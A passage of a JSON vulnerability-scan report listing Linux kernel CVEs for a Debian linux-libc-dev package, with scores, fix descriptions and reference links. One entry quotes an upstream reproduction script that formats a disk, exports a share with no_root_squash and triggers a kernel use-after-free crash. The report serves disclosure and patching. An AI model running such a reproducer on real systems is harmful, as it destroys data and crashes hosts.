"CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-53068", "https://git.kernel.org/linus/295416091e44806760ccf753aeafdafc0ae268f3%20%286.12-rc7%29", "https://git.kernel.org/stable/c/15b17bbcea07d49c43d21aa700485cbd9f9d00d8", "https://git.kernel.org/stable/c/1e1f523b185a8ccdcba625b31ff0312d052900e2", "https://git.kernel.org/stable/c/295416091e44806760ccf753aeafdafc0ae268f3", "https://git.kernel.org/stable/c/c3c49feed980279e8342b934bf2c7f25df1b0bc1", "https://lore.kernel.org/linux-cve-announce/2024111933-CVE-2024-53068-8c2a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-53068", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://ubuntu.com/security/notices/USN-7909-1", "https://ubuntu.com/security/notices/USN-7909-2", "https://ubuntu.com/security/notices/USN-7909-3", "https://ubuntu.com/security/notices/USN-7909-4", "https://ubuntu.com/security/notices/USN-7909-5", "https://ubuntu.com/security/notices/USN-7910-1", "https://ubuntu.com/security/notices/USN-7910-2", "https://ubuntu.com/security/notices/USN-7933-1", "https://ubuntu.com/security/notices/USN-7938-1", "https://www.cve.org/CVERecord?id=CVE-2024-53068" ], "PublishedDate": "2024-11-19T18:15:26.557Z", "LastModifiedDate": "2026-10-30T13:17:42.11Z" }, { "VulnerabilityID": "CVE-2024-53147", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-53147", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e4e049829a67a695d7075ef1bb87855d90a416598664e5a41655236c579dc86", "Title": "kernel: exfat: fix out-of-bounds access of directory entries", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexfat: fix out-of-bounds access of directory entries\n\nIn the case of the directory size is greater than or equal to\nthe cluster size, if start_clu becomes an EOF cluster(an invalid\ncluster) due to file system corruption, then the directory entry\nwhere ei-\u003ehint_femp.eidx hint is outside the directory, resulting\nin an out-of-bounds access, which may cause further file system\ncorruption.\n\nThis commit adds a check for start_clu, if it is an invalid cluster,\nthe file or directory will be treated as empty.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:20095", "https://access.redhat.com/security/cve/CVE-2024-53147", "https://bugzilla.redhat.com/show_bug.cgi?id=2331326", "https://bugzilla.redhat.com/show_bug.cgi?id=2333985", "https://bugzilla.redhat.com/show_bug.cgi?id=2334373", "https://bugzilla.redhat.com/show_bug.cgi?id=2334415", "https://bugzilla.redhat.com/show_bug.cgi?id=2334547", "https://bugzilla.redhat.com/show_bug.cgi?id=2334548", "https://bugzilla.redhat.com/show_bug.cgi?id=2334676", "https://bugzilla.redhat.com/show_bug.cgi?id=2337121", "https://bugzilla.redhat.com/show_bug.cgi?id=2338185", "https://bugzilla.redhat.com/show_bug.cgi?id=2338211", "https://bugzilla.redhat.com/show_bug.cgi?id=2338813", "https://bugzilla.redhat.com/show_bug.cgi?id=2338821", "https://bugzilla.redhat.com/show_bug.cgi?id=2338828", "https://bugzilla.redhat.com/show_bug.cgi?id=2338998", "https://bugzilla.redhat.com/show_bug.cgi?id=2339130", "https://bugzilla.redhat.com/show_bug.cgi?id=2339141", "https://bugzilla.redhat.com/show_bug.cgi?id=2343172", "https://bugzilla.redhat.com/show_bug.cgi?id=2343186", "https://bugzilla.redhat.com/show_bug.cgi?id=2344684", "https://bugzilla.redhat.com/show_bug.cgi?id=2344687", "https://bugzilla.redhat.com/show_bug.cgi?id=2345240", "https://bugzilla.redhat.com/show_bug.cgi?id=2346272", "https://bugzilla.redhat.com/show_bug.cgi?id=2348522", "https://bugzilla.redhat.com/show_bug.cgi?id=2348523", "https://bugzilla.redhat.com/show_bug.cgi?id=2348541", "https://bugzilla.redhat.com/show_bug.cgi?id=2348543", "https://bugzilla.redhat.com/show_bug.cgi?id=2348547", "https://bugzilla.redhat.com/show_bug.cgi?id=2348550", "https://bugzilla.redhat.com/show_bug.cgi?id=2348556", "https://bugzilla.redhat.com/show_bug.cgi?id=2348561", "https://bugzilla.redhat.com/show_bug.cgi?id=2348567", "https://bugzilla.redhat.com/show_bug.cgi?id=2348572", "https://bugzilla.redhat.com/show_bug.cgi?id=2348574", "https://bugzilla.redhat.com/show_bug.cgi?id=2348577", "https://bugzilla.redhat.com/show_bug.cgi?id=2348581", "https://bugzilla.redhat.com/show_bug.cgi?id=2348584", "https://bugzilla.redhat.com/show_bug.cgi?id=2348587", "https://bugzilla.redhat.com/show_bug.cgi?id=2348590", "https://bugzilla.redhat.com/show_bug.cgi?id=2348592", "https://bugzilla.redhat.com/show_bug.cgi?id=2348593", "https://bugzilla.redhat.com/show_bug.cgi?id=2348595", "https://bugzilla.redhat.com/show_bug.cgi?id=2348597", "https://bugzilla.redhat.com/show_bug.cgi?id=2348600", "https://bugzilla.redhat.com/show_bug.cgi?id=2348601", "https://bugzilla.redhat.com/show_bug.cgi?id=2348602", "https://bugzilla.redhat.com/show_bug.cgi?id=2348603", "https://bugzilla.redhat.com/show_bug.cgi?id=2348612", "https://bugzilla.redhat.com/show_bug.cgi?id=2348617", "https://bugzilla.redhat.com/show_bug.cgi?id=2348620", "https://bugzilla.redhat.com/show_bug.cgi?id=2348621", "https://bugzilla.redhat.com/show_bug.cgi?id=2348625", "https://bugzilla.redhat.com/show_bug.cgi?id=2348629", "https://bugzilla.redhat.com/show_bug.cgi?id=2348630", "https://bugzilla.redhat.com/show_bug.cgi?id=2348645", "https://bugzilla.redhat.com/show_bug.cgi?id=2348647", "https://bugzilla.redhat.com/show_bug.cgi?id=2348650", "https://bugzilla.redhat.com/show_bug.cgi?id=2348656", "https://bugzilla.redhat.com/show_bug.cgi?id=2350363", "https://bugzilla.redhat.com/show_bug.cgi?id=2350364", "https://bugzilla.redhat.com/show_bug.cgi?id=2350373", "https://bugzilla.redhat.com/show_bug.cgi?id=2350375", "https://bugzilla.redhat.com/show_bug.cgi?id=2350386", "https://bugzilla.redhat.com/show_bug.cgi?id=2350392", "https://bugzilla.redhat.com/show_bug.cgi?id=2350396", "https://bugzilla.redhat.com/show_bug.cgi?id=2350397", "https://bugzilla.redhat.com/show_bug.cgi?id=2350589", "https://bugzilla.redhat.com/show_bug.cgi?id=2350725", "https://bugzilla.redhat.com/show_bug.cgi?id=2350726", "https://bugzilla.redhat.com/show_bug.cgi?id=2351605", "https://bugzilla.redhat.com/show_bug.cgi?id=2351606", "https://bugzilla.redhat.com/show_bug.cgi?id=2351608", "https://bugzilla.redhat.com/show_bug.cgi?id=2351612", "https://bugzilla.redhat.com/show_bug.cgi?id=2351613", "https://bugzilla.redhat.com/show_bug.cgi?id=2351616", "https://bugzilla.redhat.com/show_bug.cgi?id=2351618", "https://bugzilla.redhat.com/show_bug.cgi?id=2351620", "https://bugzilla.redhat.com/show_bug.cgi?id=2351624", "https://bugzilla.redhat.com/show_bug.cgi?id=2351625", "https://bugzilla.redhat.com/show_bug.cgi?id=2351629", "https://bugzilla.redhat.com/show_bug.cgi?id=2356641", "https://bugzilla.redhat.com/show_bug.cgi?id=2356647", "https://bugzilla.redhat.com/show_bug.cgi?id=2356664", "https://bugzilla.redhat.com/show_bug.cgi?id=2360215", "https://bugzilla.redhat.com/show_bug.cgi?id=2363332", "https://bugzilla.redhat.com/show_bug.cgi?id=2366125", "https://bugzilla.redhat.com/show_bug.cgi?id=2369184", "https://bugzilla.redhat.com/show_bug.cgi?id=2376076", "https://bugzilla.redhat.com/show_bug.cgi?id=2383398", "https://bugzilla.redhat.com/show_bug.cgi?id=2383432", "https://bugzilla.redhat.com/show_bug.cgi?id=2383913", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36350", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49570", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-52332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53241", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-54456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56690", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57901", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57941", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57981", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57986", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57987", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57988", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58057", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58061", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58077", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58088", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21647", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21652", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21655", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21691", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21693", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21696", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21702", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21732", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21738", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21743", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21750", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21761", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21765", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21771", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21785", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21796", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21828", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21837", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21851", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21855", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21857", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21863", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21931", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37749", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38369", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38412", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38468", "https://errata.rockylinux.org/RLSA-2025:20095", "https://git.kernel.org/stable/c/184fa506e392eb78364d9283c961217ff2c0617b", "https://git.kernel.org/stable/c/3ddd1cb2b458ff6a193bc845f408dfff217db29e", "https://git.kernel.org/stable/c/82dc96f0f4eec8afdde8467d21d1b6b989dbb20a", "https://git.kernel.org/stable/c/98e3572505a9ec550b5296c67c4517120356c8d6", "https://git.kernel.org/stable/c/a0120d6463368378539ef928cf067d02372efb8c", "https://linux.oracle.com/cve/CVE-2024-53147.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2024122426-CVE-2024-53147-bea5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-53147", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://www.cve.org/CVERecord?id=CVE-2024-53147" ], "PublishedDate": "2024-12-24T12:15:22.777Z", "LastModifiedDate": "2026-10-30T13:17:43.683Z" }, { "VulnerabilityID": "CVE-2024-53168", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-53168", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bcb0ecdef5a4d3829d93c78d7cbdad430b7be0f627a94d176ddf7761beb250f8", "Title": "kernel: sunrpc: fix one UAF issue caused by sunrpc kernel tcp socket", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: fix one UAF issue caused by sunrpc kernel tcp socket\n\nBUG: KASAN: slab-use-after-free in tcp_write_timer_handler+0x156/0x3e0\nRead of size 1 at addr ffff888111f322cd by task swapper/0/0\n\nCPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.12.0-rc4-dirty #7\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1\nCall Trace:\n \u003cIRQ\u003e\n dump_stack_lvl+0x68/0xa0\n print_address_description.constprop.0+0x2c/0x3d0\n print_report+0xb4/0x270\n kasan_report+0xbd/0xf0\n tcp_write_timer_handler+0x156/0x3e0\n tcp_write_timer+0x66/0x170\n call_timer_fn+0xfb/0x1d0\n __run_timers+0x3f8/0x480\n run_timer_softirq+0x9b/0x100\n handle_softirqs+0x153/0x390\n __irq_exit_rcu+0x103/0x120\n irq_exit_rcu+0xe/0x20\n sysvec_apic_timer_interrupt+0x76/0x90\n \u003c/IRQ\u003e\n \u003cTASK\u003e\n asm_sysvec_apic_timer_interrupt+0x1a/0x20\nRIP: 0010:default_idle+0xf/0x20\nCode: 4c 01 c7 4c 29 c2 e9 72 ff ff ff 90 90 90 90 90 90 90 90 90 90 90 90\n 90 90 90 90 f3 0f 1e fa 66 90 0f 00 2d 33 f8 25 00 fb f4 \u003cfa\u003e c3 cc cc cc\n cc 66 66 2e 0f 1f 84 00 00 00 00 00 90 90 90 90 90\nRSP: 0018:ffffffffa2007e28 EFLAGS: 00000242\nRAX: 00000000000f3b31 RBX: 1ffffffff4400fc7 RCX: ffffffffa09c3196\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffffff9f00590f\nRBP: 0000000000000000 R08: 0000000000000001 R09: ffffed102360835d\nR10: ffff88811b041aeb R11: 0000000000000001 R12: 0000000000000000\nR13: ffffffffa202d7c0 R14: 0000000000000000 R15: 00000000000147d0\n default_idle_call+0x6b/0xa0\n cpuidle_idle_call+0x1af/0x1f0\n do_idle+0xbc/0x130\n cpu_startup_entry+0x33/0x40\n rest_init+0x11f/0x210\n start_kernel+0x39a/0x420\n x86_64_start_reservations+0x18/0x30\n x86_64_start_kernel+0x97/0xa0\n common_startup_64+0x13e/0x141\n \u003c/TASK\u003e\n\nAllocated by task 595:\n kasan_save_stack+0x24/0x50\n kasan_save_track+0x14/0x30\n __kasan_slab_alloc+0x87/0x90\n kmem_cache_alloc_noprof+0x12b/0x3f0\n copy_net_ns+0x94/0x380\n create_new_namespaces+0x24c/0x500\n unshare_nsproxy_namespaces+0x75/0xf0\n ksys_unshare+0x24e/0x4f0\n __x64_sys_unshare+0x1f/0x30\n do_syscall_64+0x70/0x180\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFreed by task 100:\n kasan_save_stack+0x24/0x50\n kasan_save_track+0x14/0x30\n kasan_save_free_info+0x3b/0x60\n __kasan_slab_free+0x54/0x70\n kmem_cache_free+0x156/0x5d0\n cleanup_net+0x5d3/0x670\n process_one_work+0x776/0xa90\n worker_thread+0x2e2/0x560\n kthread+0x1a8/0x1f0\n ret_from_fork+0x34/0x60\n ret_from_fork_asm+0x1a/0x30\n\nReproduction script:\n\nmkdir -p /mnt/nfsshare\nmkdir -p /mnt/nfs/netns_1\nmkfs.ext4 /dev/sdb\nmount /dev/sdb /mnt/nfsshare\nsystemctl restart nfs-server\nchmod 777 /mnt/nfsshare\nexportfs -i -o rw,no_root_squash *:/mnt/nfsshare\n\nip netns add netns_1\nip link add name veth_1_peer type veth peer veth_1\nifconfig veth_1_peer 11.11.0.254 up\nip link set veth_1 netns netns_1\nip netns exec netns_1 ifconfig veth_1 11.11.0.1\n\nip netns exec netns_1 /root/iptables -A OUTPUT -d 11.11.0.254 -p tcp \\\n\t--tcp-flags FIN FIN -j DROP\n\n(note: In my environment, a DESTROY_CLIENTID operation is always sent\n immediately, breaking the nfs tcp connection.)\nip netns exec netns_1 timeout -s 9 300 mount -t nfs -o proto=tcp,vers=4.1 \\\n\t11.11.0.254:/mnt/nfsshare /mnt/nfs/netns_1\n\nip netns del netns_1\n\nThe reason here is that the tcp socket in netns_1 (nfs side) has been\nshutdown and closed (done in xs_destroy), but the FIN message (with ack)\nis discarded, and the nfsd side keeps sending retransmission messages.\nAs a result, when the tcp sock in netns_1 processes the received message,\nit sends the message (FIN message) in the sending queue, and the tcp timer\nis re-established. When the network namespace is deleted, the net structure\naccessed by tcp's timer handler function causes problems.\n\nTo fix this problem, let's hold netns refcnt for the tcp kernel socket as\ndone in other modules. This is an ugly hack which can easily be backported\nto earlier kernels. A proper fix which cleans up the interfaces will\nfollow, but may not be so easy to backport.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-53168", "https://git.kernel.org/linus/3f23f96528e8fcf8619895c4c916c52653892ec1%20%286.13-rc1%29", "https://git.kernel.org/stable/c/0ca87e5063757132a044d35baba40a7d4bb25394", "https://git.kernel.org/stable/c/3f23f96528e8fcf8619895c4c916c52653892ec1", "https://git.kernel.org/stable/c/61c0a5eac96836de5e3a5897eccdc63162a94936", "https://git.kernel.org/stable/c/694ccb05b79ee5f5a9f14c2f80d2635d3bb8bdc3", "https://git.kernel.org/stable/c/7d44f706c6f1d89bcec901aa0da9067815803baf", "https://linux.oracle.com/cve/CVE-2024-53168.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2024122715-CVE-2024-53168-dc92@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-53168", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://ubuntu.com/security/notices/USN-7550-1", "https://ubuntu.com/security/notices/USN-7550-2", "https://ubuntu.com/security/notices/USN-7550-3", "https://ubuntu.com/security/notices/USN-7550-4", "https://ubuntu.com/security/notices/USN-7550-5", "https://ubuntu.com/security/notices/USN-7550-6", "https://ubuntu.com/security/notices/USN-7550-7", "https://ubuntu.com/security/notices/USN-7553-1", "https://ubuntu.com/security/notices/USN-7553-2", "https://ubuntu.com/security/notices/USN-7553-3", "https://ubuntu.com/security/notices/USN-7553-4", "https://ubuntu.com/security/notices/USN-7553-5", "https://ubuntu.com/security/notices/USN-7553-6", "https://ubuntu.com/security/notices/USN-7554-1", "https://ubuntu.com/security/notices/USN-7554-2", "https://ubuntu.com/security/notices/USN-7554-3", "https://ubuntu.com/security/notices/USN-7585-1", "https://ubuntu.com/security/notices/USN-7585-2", "https://ubuntu.com/security/notices/USN-7585-3", "https://ubuntu.com/security/notices/USN-7585-4", "https://ubuntu.com/security/notices/USN-7585-5", "https://ubuntu.com/security/notices/USN-7585-6", "https://ubuntu.com/security/notices/USN-7585-7", "https://ubuntu.com/security/notices/USN-7592-1", "https://ubuntu.com/security/notices/USN-7593-1", "https://ubuntu.com/security/notices/USN-7598-1", "https://ubuntu.com/security/notices/USN-7602-1", "https://ubuntu.com/security/notices/USN-7640-1", "https://ubuntu.com/security/notices/USN-7655-1", "https://www.cve.org/CVERecord?id=CVE-2024-53168" ], "PublishedDate": "2024-12-27T14:15:23.94Z", "LastModifiedDate": "2026-10-30T13:17:43.907Z" }, { "VulnerabilityID": "CVE-2024-53179", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-53179", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f5f872bcca5bba0b4e7ab26e53e5e6832069706adb529869ecd430b1925425e4", "Title": "kernel: smb: client: fix use-after-free of signing key", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix use-after-free of signing key\n\nCustomers have reported use-after-free in @ses-\u003eauth_key.response with\nSMB2.1 + sign mounts which occurs due to following race:\n\ntask A task B\ncifs_mount()\n dfs_mount_share()\n get_session()\n cifs_mount_get_session() cifs_send_recv()\n cifs_get_smb_ses() compound_send_recv()\n cifs_setup_session() smb2_setup_request()\n kfree_sensitive() smb2_calc_signature()\n crypto_shash_setkey() *UAF*\n\nFix this by ensuring that we have a valid @ses-\u003eauth_key.response by\nchecking whether @ses-\u003eses_status is SES_GOOD or SES_EXITING with\n@ses-\u003eses_lock held. After commit 24a9799aa8ef (\"smb: client: fix UAF\nin smb2_reconnect_server()\"), we made sure to call -\u003elogoff() only\nwhen @ses was known to be good (e.g. valid -\u003eauth_key.response), so\nit's safe to access signing key when @ses-\u003eses_status == SES_EXITING.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53179", "https://access.redhat.com/security/cve/CVE-2024-53179", "https://git.kernel.org/linus/343d7fe6df9e247671440a932b6a73af4fa86d95%20%286.13-rc1%29", "https://git.kernel.org/stable/c/0944c2596c2a3442735b5bb6714a17a16188a68f", "https://git.kernel.org/stable/c/0e2b654a3848bf9da3b0d54c1ccf3f1b8c635591", "https://git.kernel.org/stable/c/343d7fe6df9e247671440a932b6a73af4fa86d95", "https://git.kernel.org/stable/c/39619c65ab4bbb3e78c818f537687653e112764d", 